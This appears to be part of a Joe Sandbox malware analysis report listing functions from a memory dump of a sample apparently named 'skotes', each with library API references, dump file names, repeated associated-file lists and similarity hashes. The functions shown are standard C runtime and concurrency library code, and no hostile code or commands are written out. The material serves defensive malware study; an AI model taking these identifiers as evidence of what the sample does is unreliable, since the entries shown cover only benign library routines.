Function 00ED9C95 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00ED9C9C
Concurrency::SchedulerPolicy::_ValidPolicyValue.LIBCONCRT ref: 00ED9CE8
std::bad_exception::bad_exception.LIBCMT ref: 00ED9CFE
std::bad_exception::bad_exception.LIBCMT ref: 00ED9D6A

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception$Concurrency::H_prolog3_catchPolicyPolicy::_SchedulerValidValue
String ID:
API String ID: 2033596534-0
Opcode ID: ca95317f3007f52c6557ebba044e1f6b045ca9c76a974a01a1fc894e71dc43e8
Instruction ID: 8a0008b11313d6b52696c1f920ed180334b611b3c964974f0d90ea0936fa821c
Opcode Fuzzy Hash: ca95317f3007f52c6557ebba044e1f6b045ca9c76a974a01a1fc894e71dc43e8
Instruction Fuzzy Hash: 292181759042049FDB04EF64DD829ADB7E5EF05314B20506AF502BB392EB72AD03CB51

Function 00EDA026 Relevance: 6.1, APIs: 4, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::IncrementFixedCoreCount.LIBCONCRT ref: 00EDA069

Part of subcall function 00EDB560: Concurrency::details::SchedulerProxy::ToggleBorrowedState.LIBCONCRT ref: 00EDB5AF

Concurrency::details::HardwareAffinity::HardwareAffinity.LIBCMT ref: 00EDA07F
Concurrency::details::SchedulerProxy::AddExecutionResource.LIBCONCRT ref: 00EDA0CB

Part of subcall function 00EDAB41: List.LIBCONCRT ref: 00EDAB77

Concurrency::details::ExecutionResource::SetAsCurrent.LIBCMT ref: 00EDA0DB

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Proxy::Scheduler$ExecutionHardware$AffinityAffinity::BorrowedCoreCountCurrentFixedIncrementListResourceResource::StateToggle
String ID:
API String ID: 932774601-0
Opcode ID: e7f647f11e576ac721909d95e1e1c3a2bb44d3f92cffc21eaa0603d657d1dba7
Instruction ID: 4a6bef8be3bb52403b8f937f64a40f89d195f48ae69f4d30dfeba0f23cee4cec
Opcode Fuzzy Hash: e7f647f11e576ac721909d95e1e1c3a2bb44d3f92cffc21eaa0603d657d1dba7
Instruction Fuzzy Hash: 4621AE315007149FCB24EF65D9908AAF3F5FF48300704696EE442A7751DB34FA02CB92

Function 00ED4885 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00ED4893
ListArray.LIBCONCRT ref: 00ED48A5

Part of subcall function 00ED5555: _InternalDeleteHelper.LIBCONCRT ref: 00ED5564

ListArray.LIBCONCRT ref: 00ED48AF
_InternalDeleteHelper.LIBCONCRT ref: 00ED48C8

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 69b9a2c24734a3daa6027d9b5d7656df15aeade09a887c3fff26c1e1e1d4dd7b
Instruction ID: 8705a41ec5c5275f3a0059a095fb873ac773499c76fa8449c736c678efe880e1
Opcode Fuzzy Hash: 69b9a2c24734a3daa6027d9b5d7656df15aeade09a887c3fff26c1e1e1d4dd7b
Instruction Fuzzy Hash: 4101DBB26005156FCA257F64D982E6DB7AAFF44754700213AF50477751CB31FC139790

Function 00EDEE5C Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00EDEE6A
ListArray.LIBCONCRT ref: 00EDEE7C

Part of subcall function 00EDEF29: _InternalDeleteHelper.LIBCONCRT ref: 00EDEF3B

ListArray.LIBCONCRT ref: 00EDEE86
_InternalDeleteHelper.LIBCONCRT ref: 00EDEE9F

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959669008.000000000111C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959721660.0000000001129000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959783913.000000000112B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959816450.000000000112C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959877695.000000000112F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959930848.0000000001130000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959978097.0000000001133000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960045996.0000000001134000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960098715.0000000001136000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960151801.000000000113D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960331603.000000000113F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960385666.0000000001146000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960440857.000000000114A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960573798.0000000001177000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001179000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960627081.0000000001183000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960777381.000000000119E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960896493.000000000119F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2960928729.00000000011B3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961016769.00000000011B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961051233.00000000011B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961089486.00000000011B9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961161125.00000000011BB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961230937.00000000011C8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961335195.00000000011C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961381438.00000000011CA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2961459861.00000000011CB000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_eb0000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayList$DeleteHelperInternal
String ID:
API String ID: 3844194624-0
Opcode ID: 69c2a30d0e3ffc2a8b4119f552dabcaaaedc266ddedae4bdcab1ab1dd7613c3f
Instruction ID: a2bac4b726b20929feef402917c3ce1cdc3ef9856b3d28aafab32e5abfff325c
Opcode Fuzzy Hash: 69c2a30d0e3ffc2a8b4119f552dabcaaaedc266ddedae4bdcab1ab1dd7613c3f
Instruction Fuzzy Hash: B901D671300621AFCA257B60DDC6E6EBBA9FF84714700206AF914BB712CB21FC1396A0

Function 00EDD0B7 Relevance: 6.0, APIs: 4, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00EDD0C5
ListArray.LIBCONCRT ref: 00EDD0D7

Part of subcall function 00EDC6B2: _InternalDeleteHelper.LIBCONCRT ref: 00EDC6C4

ListArray.LIBCONCRT ref: 00EDD0E1
_InternalDeleteHelper.LIBCONCRT ref: 00EDD0FA

Memory Dump Source

Source File: 00000006.00000002.2954757727.0000000000EB1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00EB0000, based on PE: true

Associated: 00000006.00000002.2954678838.0000000000EB0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954757727.0000000000F12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954928024.0000000000F19000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2954994420.0000000000F1B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955050296.0000000000F27000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955331480.0000000001080000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955370603.0000000001082000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.000000000109C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955457413.00000000010A9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2955587488.00000000010AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957366382.00000000010AD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2957438836.00000000010AF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958588678.00000000010B0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958806537.00000000010B1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958876298.00000000010B2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2958963789.00000000010BD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959043450.00000000010C0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959117188.00000000010D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959184840.00000000010D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959270631.00000000010DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959346847.00000000010ED000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959414485.000000000110A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959463513.0000000001110000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959521184.0000000001111000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959574340.000000000111A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2959627337.000000000111B000.00000080.00000001.01000000.00000007.sdmpDownload File
